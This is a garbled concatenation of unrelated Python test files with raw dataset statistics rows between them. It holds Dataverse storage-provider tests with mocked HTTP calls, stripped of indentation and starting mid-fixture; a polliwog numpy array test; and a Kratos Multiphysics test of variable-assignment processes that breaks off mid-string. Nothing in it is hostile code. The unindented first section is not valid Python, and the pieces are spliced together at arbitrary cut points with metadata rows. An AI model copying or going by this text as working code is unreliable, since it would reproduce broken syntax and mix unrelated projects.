'typeClass': 'primitive',
'typeName': 'depositor',
'value': 'Baggins, Bilbo'},
{'multiple': False,
'typeClass': 'primitive',
'typeName': 'dateOfDeposit',
'value': '2015-04-02'}]}},
'productionDate': 'Production Date',
'releaseTime': '2015-04-02T15:26:21Z',
'versionMinorNumber': 0,
'versionNumber': 1,
'versionState': 'RELEASED'}}
class TestCRUD:
@async
@pytest.mark.aiohttpretty
def test_download(self, provider, native_dataset_metadata):
path = '/21'
url = provider.build_url(dvs.DOWN_BASE_URL, path, key=provider.token)
draft_url = provider.build_url(dvs.JSON_BASE_URL.format(provider._id, 'latest'), key=provider.token)
published_url = provider.build_url(dvs.JSON_BASE_URL.format(provider._id, 'latest-published'), key=provider.token)
aiohttpretty.register_uri('GET', url, body=b'better', auto_length=True)
aiohttpretty.register_json_uri('GET', draft_url, status=200, body=native_dataset_metadata)
aiohttpretty.register_json_uri('GET', published_url, status=200, body=native_dataset_metadata)
path = yield from provider.validate_path(path)
result = yield from provider.download(path)
content = yield from result.read()
assert content == b'better'
@async
@pytest.mark.aiohttpretty
def test_download_not_found(self, provider, native_dataset_metadata):
path = '/21'
url = provider.build_url(dvs.DOWN_BASE_URL, path, key=provider.token)
aiohttpretty.register_uri('GET', url, status=404)
draft_url = provider.build_url(dvs.JSON_BASE_URL.format(provider._id, 'latest'), key=provider.token)
aiohttpretty.register_json_uri('GET', draft_url, status=200, body=native_dataset_metadata)
published_url = provider.build_url(dvs.JSON_BASE_URL.format(provider._id, 'latest-published'), key=provider.token)
aiohttpretty.register_json_uri('GET', published_url, status=200, body=native_dataset_metadata)
path = yield from provider.validate_path(path)
with pytest.raises(exceptions.DownloadError):
yield from provider.download(path)
@async
@pytest.mark.aiohttpretty
def test_download_invalid_path(self, provider, native_dataset_metadata):
path = '/50'
draft_url = provider.build_url(dvs.JSON_BASE_URL.format(provider._id, 'latest'), key=provider.token)
aiohttpretty.register_json_uri('GET', draft_url, status=200, body=native_dataset_metadata)
published_url = provider.build_url(dvs.JSON_BASE_URL.format(provider._id, 'latest-published'), key=provider.token)
aiohttpretty.register_json_uri('GET', published_url, status=200, body=native_dataset_metadata)
path = yield from provider.validate_path(path)
with pytest.raises(exceptions.NotFoundError):
yield from provider.download(path)
@async
@pytest.mark.aiohttpretty
def test_upload_create(self, provider, file_stream, native_file_metadata, empty_native_dataset_metadata, native_dataset_metadata):
path = '/thefile.txt'
url = provider.build_url(dvs.EDIT_MEDIA_BASE_URL, 'study', provider.doi)
aiohttpretty.register_uri('POST', url, status=201)
latest_url = provider.build_url(dvs.JSON_BASE_URL.format(provider._id, 'latest'), key=provider.token)
latest_published_url = provider.build_url(dvs.JSON_BASE_URL.format(provider._id, 'latest-published'), key=provider.token)
aiohttpretty.register_json_uri('GET', latest_published_url, body={'data': {'files': []}})
aiohttpretty.register_uri('GET', latest_url, responses=[
{
'status': 200,
'body': json.dumps(empty_native_dataset_metadata).encode('utf-8'),
'headers': {'Content-Type': 'application/json'},
},
{
'status': 200,
'body': json.dumps(native_dataset_metadata).encode('utf-8'),
'headers': {'Content-Type': 'application/json'},
},
])
path = yield from provider.validate_path(path)
metadata, created = yield from provider.upload(file_stream, path)
entry = native_file_metadata['datafile']
expected = DataverseFileMetadata(entry, 'latest').serialized()
assert created is True
assert metadata == expected
assert aiohttpretty.has_call(method='POST', uri=url)
assert aiohttpretty.has_call(method='GET', uri=latest_url)
assert aiohttpretty.has_call(method='GET', uri=latest_published_url)
@async
@pytest.mark.aiohttpretty
def test_upload_updates(self, provider, file_stream, native_file_metadata, native_dataset_metadata):
path = '/20'
url = provider.build_url(dvs.EDIT_MEDIA_BASE_URL, 'study', provider.doi)
aiohttpretty.register_uri('POST', url, status=201)
published_url = provider.build_url(dvs.JSON_BASE_URL.format(provider._id, 'latest'), key=provider.token)
aiohttpretty.register_json_uri('GET', published_url, status=200, body=native_dataset_metadata)
delete_url = provider.build_url(dvs.EDIT_MEDIA_BASE_URL, 'file', '/20') # Old file id
aiohttpretty.register_json_uri('DELETE', delete_url, status=204)
latest_published_url = provider.build_url(dvs.JSON_BASE_URL.format(provider._id, 'latest-published'), key=provider.token)
aiohttpretty.register_json_uri('GET', latest_published_url, body={'data': {'files': []}})
path = yield from provider.validate_path(path)
metadata, created = yield from provider.upload(file_stream, path)
entry = native_file_metadata['datafile']
expected = DataverseFileMetadata(entry, 'latest').serialized()
assert metadata == expected
assert created is False
assert aiohttpretty.has_call(method='POST', uri=url)
assert aiohttpretty.has_call(method='GET', uri=published_url)
@async
@pytest.mark.aiohttpretty
def test_delete_file(self, provider, native_dataset_metadata):
path = '21'
url = provider.build_url(dvs.EDIT_MEDIA_BASE_URL, 'file', path)
aiohttpretty.register_json_uri('DELETE', url, status=204)
draft_url = provider.build_url(dvs.JSON_BASE_URL.format(provider._id, 'latest'), key=provider.token)
aiohttpretty.register_json_uri('GET', draft_url, status=200, body=native_dataset_metadata)
published_url = provider.build_url(dvs.JSON_BASE_URL.format(provider._id, 'latest-published'), key=provider.token)
aiohttpretty.register_json_uri('GET', published_url, status=200, body=native_dataset_metadata)
path = yield from provider.validate_path(path)
yield from provider.delete(path)
assert aiohttpretty.has_call(method='DELETE', uri=url)
# @async
# @pytest.mark.aiohttpretty
# def test_delete_file_invalid_path(self, provider, native_dataset_metadata):
# path = '500'
# draft_url = provider.build_url(dvs.JSON_BASE_URL.format(provider._id, 'latest'), key=provider.token)
# aiohttpretty.register_json_uri('GET', draft_url, status=200, body=native_dataset_metadata)
# published_url = provider.build_url(dvs.JSON_BASE_URL.format(provider._id, 'latest-published'), key=provider.token)
# aiohttpretty.register_json_uri('GET', published_url, status=200, body=native_dataset_metadata)
# with pytest.raises(exceptions.MetadataError):
# yield from provider.delete(path)
class TestMetadata:
@async
@pytest.mark.aiohttpretty
def test_metadata(self, provider, native_dataset_metadata):
url = provider.build_url(dvs.JSON_BASE_URL.format(provider._id, 'latest'), key=provider.token)
aiohttpretty.register_json_uri('GET', url, status=200, body=native_dataset_metadata)
path = yield from provider.validate_path('/')
result = yield from provider.metadata(path, version='latest')
assert len(result) == 3
assert result[0]['provider'] == 'dataverse'
assert result[0]['kind'] == 'file'
assert result[0]['name'] == 'UnZip.java'
assert result[0]['path'] == '/19'
assert result[0]['extra']['fileId'] == '19'
@async
@pytest.mark.aiohttpretty
def test_metadata_no_files(self, provider, empty_native_dataset_metadata):
url = provider.build_url(dvs.JSON_BASE_URL.format(provider._id, 'latest'), key=provider.token)
aiohttpretty.register_json_uri('GET', url, status=200, body=empty_native_dataset_metadata)
path = yield from provider.validate_path('/')
result = yield from provider.metadata(path, version='latest')
assert result == []
@async
@pytest.mark.aiohttpretty
def test_metadata_published(self, provider, native_dataset_metadata):
url = provider.build_url(dvs.JSON_BASE_URL.format(provider._id, 'latest-published'), key=provider.token)
aiohttpretty.register_json_uri('GET', url, status=200, body=native_dataset_metadata)
path = yield from provider.validate_path('/')
result = yield from provider.metadata(path, version='latest-published')
assert len(result) == 3
assert result[0]['provider'] == 'dataverse'
assert result[0]['kind'] == 'file'
assert result[0]['name'] == 'UnZip.java'
assert result[0]['path'] == '/19'
assert result[0]['extra']['fileId'] == '19'
@async
@pytest.mark.aiohttpretty
def test_metadata_published_no_files(self, provider, empty_native_dataset_metadata):
url = provider.build_url(dvs.JSON_BASE_URL.format(provider._id, 'latest-published'), key=provider.token)
aiohttpretty.register_json_uri('GET', url, status=200, body=empty_native_dataset_metadata)
path = yield from provider.validate_path('/')
result = yield from provider.metadata(path, version='latest-published')
assert result == []
@async
@pytest.mark.aiohttpretty
def test_draft_metadata_missing(self, provider):
url = provider.build_url(dvs.JSON_BASE_URL.format(provider._id, 'latest'), key=provider.token)
aiohttpretty.register_json_uri('GET', url, status=404)
path = yield from provider.validate_path('/')
with pytest.raises(exceptions.MetadataError):
yield from provider.metadata(path, version='latest')
@async
@pytest.mark.aiohttpretty
def test_draft_metadata_no_state_catches_all(self, provider, native_dataset_metadata):
draft_url = provider.build_url(dvs.JSON_BASE_URL.format(provider._id, 'latest'), key=provider.token)
aiohttpretty.register_json_uri('GET', draft_url, status=200, body=native_dataset_metadata)
published_url = provider.build_url(dvs.JSON_BASE_URL.format(provider._id, 'latest-published'), key=provider.token)
aiohttpretty.register_json_uri('GET', published_url, status=200, body=native_dataset_metadata)
path = yield from provider.validate_path('/')
result = yield from provider.metadata(path)
assert isinstance(result, list)
assert len(result) == 6
@async
@pytest.mark.aiohttpretty
def test_metadata_never_published(self, provider, native_dataset_metadata):
published_url = provider.build_url(dvs.JSON_BASE_URL.format(provider._id, 'latest-published'), key=provider.token)
aiohttpretty.register_json_uri('GET', published_url, status=404)
draft_url = provider.build_url(dvs.JSON_BASE_URL.format(provider._id, 'latest'), key=provider.token)
aiohttpretty.register_json_uri('GET', draft_url, status=200, body=native_dataset_metadata)
path = yield from provider.validate_path('/')
result = yield from provider.metadata(path)
assert len(result) == 3
@async
@pytest.mark.aiohttpretty
def test_metadata_never_published_raises_errors(self, provider, native_dataset_metadata):
published_url = provider.build_url(dvs.JSON_BASE_URL.format(provider._id, 'latest-published'), key=provider.token)
aiohttpretty.register_json_uri('GET', published_url, status=400)
path = yield from provider.validate_path('/')
with pytest.raises(exceptions.MetadataError) as e:
result = yield from provider.metadata(path)
assert e.value.code == 400
| 40.101293 | 138 | 0.675928 | 2,066 | 18,607 | 5.899806 | 0.119555 | 0.039462 | 0.063746 | 0.046763 | 0.876282 | 0.844696 | 0.844696 | 0.810239 | 0.775371 | 0.754205 | 0 | 0.031893 | 0.182727 | 18,607 | 463 | 139 | 40.187905 | 0.769646 | 0.034718 | 0 | 0.714667 | 0 | 0.010667 | 0.231211 | 0.037551 | 0 | 0 | 0 | 0 | 0.077333 | 0 | null | null | 0 | 0.026667 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
8195f7feb3b7500d1838c7d287d97e45da55851f | 3,942 | py | Python | polliwog/polyline/test_array.py | lace/polliwog | 7744ce171738e4739e391fcff4f4689d9f177196 | [
"BSD-2-Clause"
] | 18 | 2019-05-03T02:08:12.000Z | 2022-03-24T11:49:59.000Z | polliwog/polyline/test_array.py | lace/polliwog | 7744ce171738e4739e391fcff4f4689d9f177196 | [
"BSD-2-Clause"
] | 76 | 2019-04-03T15:24:01.000Z | 2022-03-01T14:07:04.000Z | polliwog/polyline/test_array.py | lace/polliwog | 7744ce171738e4739e391fcff4f4689d9f177196 | [
"BSD-2-Clause"
] | 3 | 2019-11-04T16:22:07.000Z | 2022-03-09T08:50:52.000Z | import numpy as np
from ._array import find_changes, find_repeats
def test_find_repeats():
example = np.array([0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0])
np.testing.assert_array_equal(
find_repeats(example, wrap=False),
np.array(
[
False,
False,
True,
True,
False,
True,
True,
True,
False,
False,
False,
True,
False,
True,
]
),
)
np.testing.assert_array_equal(
find_repeats(example, wrap=True),
np.array(
[
True,
False,
True,
True,
False,
True,
True,
True,
False,
False,
False,
True,
False,
True,
]
),
)
example[-1] = 1
np.testing.assert_array_equal(
find_repeats(example, wrap=False),
np.array(
[
False,
False,
True,
True,
False,
True,
True,
True,
False,
False,
False,
True,
False,
False,
]
),
)
np.testing.assert_array_equal(
find_repeats(example, wrap=True),
np.array(
[
False,
False,
True,
True,
False,
True,
True,
True,
False,
False,
False,
True,
False,
False,
]
),
)
def test_find_changes():
example = np.array([0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0])
np.testing.assert_array_equal(
find_changes(example, wrap=False),
np.array(
[
False,
True,
False,
False,
True,
False,
False,
False,
True,
True,
True,
False,
True,
False,
]
),
)
np.testing.assert_array_equal(
find_changes(example, wrap=True),
np.array(
[
False,
True,
False,
False,
True,
False,
False,
False,
True,
True,
True,
False,
True,
False,
]
),
)
example[-1] = 1
np.testing.assert_array_equal(
find_changes(example, wrap=False),
np.array(
[
False,
True,
False,
False,
True,
False,
False,
False,
True,
True,
True,
False,
True,
True,
]
),
)
np.testing.assert_array_equal(
find_changes(example, wrap=True),
np.array(
[
True,
True,
False,
False,
True,
False,
False,
False,
True,
True,
True,
False,
True,
True,
]
),
)
| 21.540984 | 66 | 0.296043 | 267 | 3,942 | 4.254682 | 0.074906 | 0.229754 | 0.184859 | 0.150528 | 0.922535 | 0.922535 | 0.915493 | 0.915493 | 0.915493 | 0.899648 | 0 | 0.022023 | 0.631405 | 3,942 | 182 | 67 | 21.659341 | 0.759807 | 0 | 0 | 0.840909 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.045455 | 1 | 0.011364 | false | 0 | 0.011364 | 0 | 0.022727 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
819a0188456b2fb2f6c029ebcc56072dc4c4812f | 69,474 | py | Python | kratos/tests/test_processes.py | AndreaVoltan/MyKratos7.0 | e977752722e8ef1b606f25618c4bf8fd04c434cc | [
"BSD-4-Clause"
] | 2 | 2020-04-30T19:13:08.000Z | 2021-04-14T19:40:47.000Z | kratos/tests/test_processes.py | AndreaVoltan/MyKratos7.0 | e977752722e8ef1b606f25618c4bf8fd04c434cc | [
"BSD-4-Clause"
] | 1 | 2020-04-30T19:19:09.000Z | 2020-05-02T14:22:36.000Z | kratos/tests/test_processes.py | AndreaVoltan/MyKratos7.0 | e977752722e8ef1b606f25618c4bf8fd04c434cc | [
"BSD-4-Clause"
] | 1 | 2020-06-12T08:51:24.000Z | 2020-06-12T08:51:24.000Z | from __future__ import print_function, absolute_import, division
import KratosMultiphysics.KratosUnittest as KratosUnittest
from KratosMultiphysics import *
import KratosMultiphysics.kratos_utilities as kratos_utils
import math
import os
def GetFilePath(fileName):
return os.path.join(os.path.dirname(os.path.realpath(__file__)), fileName)
class TestProcesses(KratosUnittest.TestCase):
def test_assign_processes(self):
current_model = Model()
model_part= current_model.CreateModelPart("Main")
model_part.AddNodalSolutionStepVariable(DISPLACEMENT)
model_part.AddNodalSolutionStepVariable(VELOCITY)
model_part.AddNodalSolutionStepVariable(VISCOSITY)
model_part.AddNodalSolutionStepVariable(DENSITY)
model_part_io = ModelPartIO(GetFilePath("test_model_part_io_read"))
model_part_io.ReadModelPart(model_part)
#reset all data
for node in model_part.Nodes:
node.Free(DISPLACEMENT_X)
node.Free(DISPLACEMENT_Y)
node.Free(DISPLACEMENT_Z)
node.Free(VELOCITY_X)
node.Free(VELOCITY_Y)
node.Free(VELOCITY_Z)
node.SetSolutionStepValue(DENSITY,0,0.0)
node.SetSolutionStepValue(VISCOSITY,0,0.0)
node.SetSolutionStepValue(DISPLACEMENT_X,0,0.0)
node.SetSolutionStepValue(DISPLACEMENT_Y,0,0.0)
node.SetSolutionStepValue(DISPLACEMENT_Z,0,0.0)
node.SetSolutionStepValue(VELOCITY_X,0,0.0)
node.SetSolutionStepValue(VELOCITY_Y,0,0.0)
node.SetSolutionStepValue(VELOCITY_Z,0,0.0)
settings = Parameters(
"""
{
"process_list" : [
{
"python_module" : "assign_scalar_variable_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "AssignScalarVariableProcess",
"Parameters" : {
"model_part_name" : "Main",
"variable_name" : "VISCOSITY",
"interval" : [0.0, 10.0],
"constrained" : true,
"value" : "x+100.0*y*t**2"
}
},
{
"python_module" : "assign_scalar_variable_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "AssignScalarVariableProcess",
"Parameters" : {
"model_part_name" : "Main",
"variable_name" : "DENSITY",
"value" : "x*x+y*y+z*z+t"
}
},
{
"python_module" : "assign_scalar_variable_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "AssignScalarVariableProcess",
"Parameters" : {
"model_part_name" : "Main",
"variable_name" : "DISPLACEMENT_X",
"interval" : [0.0, 5.0],
"constrained" : true,
"value" : "sqrt(x**2+y**2)*t",
"local_axes" :{
"origin" : [0.0, 0.0, 0.0],
"axes" : [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0] ]
}
}
},
{
"python_module" : "assign_vector_variable_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "AssignVectorVariableProcess",
"Parameters" : {
"model_part_name" : "Main",
"variable_name" : "DISPLACEMENT",
"interval" : [11.0, 15.0],
"value" : [10.0, null, "t"],
"local_axes" : {}
}
},
{
"python_module" : "assign_vector_by_direction_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "AssignVectorByDirectionProcess",
"Parameters" : {
"model_part_name" : "Main",
"variable_name" : "VELOCITY",
"interval" : [11.0, 15.0],
"modulus" : 10.0,
"constrained" : false,
"direction" : [1.0, 0.0, 0.0],
"local_axes" : {}
}
},
{
"python_module" : "assign_vector_variable_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "AssignVectorVariableProcess",
"Parameters" : {
"model_part_name" : "Main",
"variable_name" : "DISPLACEMENT",
"interval" : [20.0, 24.0],
"constrained" : false,
"value" : [10.0, null, "t"],
"local_axes" : {}
}
},
{
"python_module" : "assign_vector_by_direction_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "AssignVectorByDirectionProcess",
"Parameters" : {
"model_part_name" : "Main",
"variable_name" : "VELOCITY",
"interval" : [20.0, 24.0],
"modulus" : "sin(x*pi*t)",
"constrained" : false,
"direction" : [0.0, 1.0, 0.0],
"local_axes" : {}
}
},
{
"python_module" : "assign_vector_variable_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "AssignVectorProcess",
"Parameters" : {
"model_part_name" : "Main",
"variable_name" : "DISPLACEMENT",
"interval" : [25.0, "End"],
"constrained" : [true,true,false],
"value" : [null, "x+y*t", "t"],
"local_axes" : {}
}
},
{
"python_module" : "assign_vector_by_direction_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "AssignVectorByDirectionProcess",
"Parameters" : {
"model_part_name" : "Main",
"variable_name" : "VELOCITY",
"interval" : [25.0, "End"],
"modulus" : "sqrt(abs(x*y))",
"constrained" : true,
"direction" : [0.0, 1.0, 1.0],
"local_axes" : {}
}
}
]
}
"""
)
import process_factory
list_of_processes = process_factory.KratosProcessFactory(current_model).ConstructListOfProcesses( settings["process_list"] )
for node in model_part.Nodes:
self.assertFalse(node.IsFixed(DISPLACEMENT_X))
self.assertFalse(node.IsFixed(DISPLACEMENT_Y))
self.assertFalse(node.IsFixed(DISPLACEMENT_Z))
############################################################
##time = 3 - both within the active interval
model_part.CloneTimeStep(3.0)
for process in list_of_processes:
process.ExecuteInitializeSolutionStep()
##verify the result
t = model_part.ProcessInfo[TIME]
for node in model_part.Nodes:
self.assertEqual(node.GetSolutionStepValue(DISPLACEMENT_X), math.sqrt(node.X**2+node.Y**2)*t)
self.assertEqual(node.GetSolutionStepValue(DENSITY), node.X**2+node.Y**2+node.Z**2+t)
self.assertEqual(node.GetSolutionStepValue(VISCOSITY), node.X+100.0*node.Y*t**2)
self.assertTrue(node.IsFixed(DENSITY))
self.assertTrue(node.IsFixed(VISCOSITY))
self.assertTrue(node.IsFixed(DISPLACEMENT_X))
self.assertFalse(node.IsFixed(DISPLACEMENT_Y))
self.assertFalse(node.IsFixed(DISPLACEMENT_Z))
for process in list_of_processes:
process.ExecuteFinalizeSolutionStep()
##verify the result
t = model_part.ProcessInfo[TIME]
for node in model_part.Nodes:
self.assertFalse(node.IsFixed(DENSITY))
self.assertFalse(node.IsFixed(VISCOSITY))
self.assertFalse(node.IsFixed(DISPLACEMENT_X))
self.assertFalse(node.IsFixed(DISPLACEMENT_Y))
self.assertFalse(node.IsFixed(DISPLACEMENT_Z))
############################################################
##time = 3 - DISPLACEMENT_X is not in the active interval
model_part.CloneTimeStep(6.0)
for node in model_part.Nodes:
self.assertFalse(node.IsFixed(DISPLACEMENT_X))
self.assertFalse(node.IsFixed(DISPLACEMENT_Y))
self.assertFalse(node.IsFixed(DISPLACEMENT_Z))
for process in list_of_processes:
process.ExecuteInitializeSolutionStep()
##verify the result
t = model_part.ProcessInfo[TIME]
for node in model_part.Nodes:
self.assertEqual(node.GetSolutionStepValue(DISPLACEMENT_X), math.sqrt(node.X**2+node.Y**2)*3.0) ##still the old value
self.assertEqual(node.GetSolutionStepValue(DENSITY), node.X**2+node.Y**2+node.Z**2+t)
self.assertEqual(node.GetSolutionStepValue(VISCOSITY), node.X+100.0*node.Y*t**2)
self.assertTrue(node.IsFixed(DENSITY))
self.assertTrue(node.IsFixed(VISCOSITY))
self.assertFalse(node.IsFixed(DISPLACEMENT_X)) #it is left unfixed at the end of the previous interval
for process in list_of_processes:
process.ExecuteFinalizeSolutionStep()
##verify the result
t = model_part.ProcessInfo[TIME]
for node in model_part.Nodes:
self.assertFalse(node.IsFixed(DENSITY))
self.assertFalse(node.IsFixed(VISCOSITY))
self.assertFalse(node.IsFixed(DISPLACEMENT_X))
############################################################
##time = 12 - DISPLACEMENT applied as a vector. x,z components fixed, y component not imposed
##time = 12 - VELOCITY applied as a vector by componentes. All components free. x component is not zero.
model_part.CloneTimeStep(12.0)
for process in list_of_processes:
process.ExecuteInitializeSolutionStep()
##verify the result
t = model_part.ProcessInfo[TIME]
for node in model_part.Nodes:
self.assertEqual(node.GetSolutionStepValue(DISPLACEMENT_X), 10.0)
self.assertTrue(node.IsFixed(DISPLACEMENT_X))
self.assertEqual(node.GetSolutionStepValue(DISPLACEMENT_Y), 0.0) #not applied!!
self.assertFalse(node.IsFixed(DISPLACEMENT_Y))
self.assertEqual(node.GetSolutionStepValue(DISPLACEMENT_Z), 12.0)
self.assertTrue(node.IsFixed(DISPLACEMENT_Z))
self.assertEqual(node.GetSolutionStepValue(VELOCITY_X), 10.0)
self.assertFalse(node.IsFixed(VELOCITY_X))
self.assertEqual(node.GetSolutionStepValue(VELOCITY_Y), 0.0)
self.assertFalse(node.IsFixed(VELOCITY_Y))
self.assertEqual(node.GetSolutionStepValue(VELOCITY_Z), 0.0)
self.assertFalse(node.IsFixed(VELOCITY_Z))
#print("**********************************************")
for process in list_of_processes:
process.ExecuteFinalizeSolutionStep()
############################################################
##time >= 20 - DISPLACEMENT applied as a vector. x,z components fixed, y component not imposed
##time >= 20 - VELOCITY applied as a vector by componentes. All components free. y component is not zero.
model_part.CloneTimeStep(20.1)
for process in list_of_processes:
process.ExecuteInitializeSolutionStep()
##verify the result
t = model_part.ProcessInfo[TIME]
#print("Checking time = ", t)
for node in model_part.Nodes:
self.assertEqual(node.GetSolutionStepValue(DISPLACEMENT_X), 10.0)
self.assertFalse(node.IsFixed(DISPLACEMENT_X))
self.assertEqual(node.GetSolutionStepValue(DISPLACEMENT_Y), 0.0) #not applied!!
self.assertFalse(node.IsFixed(DISPLACEMENT_Y))
self.assertEqual(node.GetSolutionStepValue(DISPLACEMENT_Z), t)
self.assertFalse(node.IsFixed(DISPLACEMENT_Z))
self.assertEqual(node.GetSolutionStepValue(VELOCITY_X), 0.0)
self.assertFalse(node.IsFixed(VELOCITY_X))
self.assertEqual(node.GetSolutionStepValue(VELOCITY_Y), math.sin(node.X*math.pi*t))
self.assertFalse(node.IsFixed(VELOCITY_Y))
self.assertEqual(node.GetSolutionStepValue(VELOCITY_Z), 0.0)
self.assertFalse(node.IsFixed(VELOCITY_Z))
for process in list_of_processes:
process.ExecuteFinalizeSolutionStep()
############################################################
##time >= 25 - DISPLACEMENT applied as a vector. x,z components fixed, y component not imposed
##time >= 25 - VELOCITY applied as a vector by componentes. All components fixed. y and z components are not zero.
model_part.CloneTimeStep(26.0)
for process in list_of_processes:
process.ExecuteInitializeSolutionStep()
##verify the result
t = model_part.ProcessInfo[TIME]
#print("Checking time = ", t)
for node in model_part.Nodes:
self.assertEqual(node.GetSolutionStepValue(DISPLACEMENT_X), 10.0) #previous value
self.assertFalse(node.IsFixed(DISPLACEMENT_X)) #not fixed since set as null
self.assertEqual(node.GetSolutionStepValue(DISPLACEMENT_Y), node.X+node.Y*t) #not applied!!
self.assertTrue(node.IsFixed(DISPLACEMENT_Y)) #set to true
self.assertEqual(node.GetSolutionStepValue(DISPLACEMENT_Z), t)
self.assertFalse(node.IsFixed(DISPLACEMENT_Z))
self.assertEqual(node.GetSolutionStepValue(VELOCITY_X), 0.0)
self.assertTrue(node.IsFixed(VELOCITY_X))
self.assertAlmostEqual(node.GetSolutionStepValue(VELOCITY_Y), (math.sqrt(abs(node.X*node.Y)))/math.sqrt(2))
self.assertTrue(node.IsFixed(VELOCITY_Y))
self.assertAlmostEqual(node.GetSolutionStepValue(VELOCITY_Z), (math.sqrt(abs(node.X*node.Y)))/math.sqrt(2))
self.assertTrue(node.IsFixed(VELOCITY_Z))
for process in list_of_processes:
process.ExecuteFinalizeSolutionStep()
def test_rotated_system(self):
current_model = Model()
model_part= current_model.CreateModelPart("Main")
model_part.AddNodalSolutionStepVariable(VELOCITY)
model_part.AddNodalSolutionStepVariable(DISPLACEMENT)
model_part.AddNodalSolutionStepVariable(VISCOSITY)
model_part_io = ModelPartIO(GetFilePath("test_model_part_io_read"))
model_part_io.ReadModelPart(model_part)
#note that y and z are inverted in the rotated system
settings = Parameters(
"""
{
"process_list" : [
{
"python_module" : "assign_scalar_variable_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "AssignScalarVariableProcess",
"Parameters" : {
"model_part_name" : "Main",
"variable_name" : "VISCOSITY",
"interval" : [0.0, 10.0],
"constrained" : false,
"value" : "x+100.0*y*t**2",
"local_axes" :{
"origin" : [10.0, 0.0, 0.0],
"axes" : [[1.0, 0.0, 0.0], [0.0, 0.0, 1.0], [0.0, 1.0, 0.0] ]
}
}
}
]
}
"""
)
import process_factory
list_of_processes = process_factory.KratosProcessFactory(current_model).ConstructListOfProcesses( settings["process_list"] )
model_part.CloneTimeStep(3.0)
for process in list_of_processes:
process.ExecuteInitializeSolutionStep()
##verify the result
t = model_part.ProcessInfo[TIME]
for node in model_part.Nodes:
x = node.X - 10.0
y = node.Z
z = node.Y
self.assertEqual(node.GetSolutionStepValue(VISCOSITY), x+100.0*y*t**2)
self.assertFalse(node.IsFixed(VISCOSITY))
for process in list_of_processes:
process.ExecuteFinalizeSolutionStep()
def test_assign_scalar_value_to_conditions(self):
current_model = Model()
model_part= current_model.CreateModelPart("Main")
model_part_io = ModelPartIO(GetFilePath("test_processes"))
model_part_io.ReadModelPart(model_part)
settings = Parameters(
"""
{
"process_list" : [
{
"python_module" : "assign_scalar_variable_to_conditions_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "AssignScalarVariableToConditionsProcess",
"Parameters" : {
"model_part_name":"Main",
"variable_name": "PRESSURE",
"value" : 15.0
}
},
{
"python_module" : "assign_scalar_variable_to_conditions_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "AssignScalarVariableToConditionsProcess",
"Parameters" : {
"model_part_name":"Main",
"variable_name": "VISCOSITY",
"value" : 2
}
}
]
}
"""
)
import process_factory
list_of_processes = process_factory.KratosProcessFactory(current_model).ConstructListOfProcesses( settings["process_list"] )
for process in list_of_processes:
process.ExecuteInitializeSolutionStep()
for cond in model_part.Conditions:
self.assertEqual(cond.GetValue(PRESSURE), 15.0)
self.assertEqual(cond.GetValue(VISCOSITY), 2)
def test_assign_scalar_field_to_conditions(self):
current_model = Model()
model_part= current_model.CreateModelPart("Main")
model_part_io = ModelPartIO(GetFilePath("test_processes"))
model_part_io.ReadModelPart(model_part)
settings = Parameters(
"""
{
"process_list" : [
{
"python_module" : "assign_scalar_variable_to_conditions_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "AssignScalarVariableToConditionsProcess",
"Parameters" : {
"model_part_name":"Main",
"variable_name": "INITIAL_STRAIN",
"value" : "x+y*t+z"
}
}
]
}
"""
)
import process_factory
list_of_processes = process_factory.KratosProcessFactory(current_model).ConstructListOfProcesses( settings["process_list"] )
model_part.CloneTimeStep(5.0)
for process in list_of_processes:
process.ExecuteInitializeSolutionStep()
t = model_part.ProcessInfo[TIME]
for cond in model_part.Conditions:
v = cond.GetValue(INITIAL_STRAIN)
i = 0
for node in cond.GetNodes():
self.assertEqual(v[i],node.X+node.Y*t+node.Z)
i=i+1
def test_assign_scalar_field_scalar_variable_to_conditions(self):
current_model = Model()
model_part = current_model.CreateModelPart("Main")
model_part_io = ModelPartIO(GetFilePath("test_processes"))
model_part_io.ReadModelPart(model_part)
settings = Parameters(
"""
{
"process_list" : [
{
"python_module" : "assign_scalar_variable_to_conditions_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "AssignScalarVariableToConditionsProcess",
"Parameters" : {
"model_part_name":"Main",
"variable_name": "PRESSURE",
"value" : "t"
}
}
]
}
"""
)
import process_factory
list_of_processes = process_factory.KratosProcessFactory(current_model).ConstructListOfProcesses( settings["process_list"] )
model_part.CloneTimeStep(5.0)
for process in list_of_processes:
process.ExecuteInitializeSolutionStep()
t = model_part.ProcessInfo[TIME]
for cond in model_part.Conditions:
v = cond.GetValue(PRESSURE)
self.assertEqual(v,t)
def test_assign_scalar_field_component_to_conditions(self):
current_model = Model()
model_part= current_model.CreateModelPart("Main")
model_part_io = ModelPartIO(GetFilePath("test_processes"))
model_part_io.ReadModelPart(model_part)
settings = Parameters(
"""
{
"process_list" : [
{
"python_module" : "assign_scalar_variable_to_conditions_process",
"kratos_module" : "KratosMultiphysics",
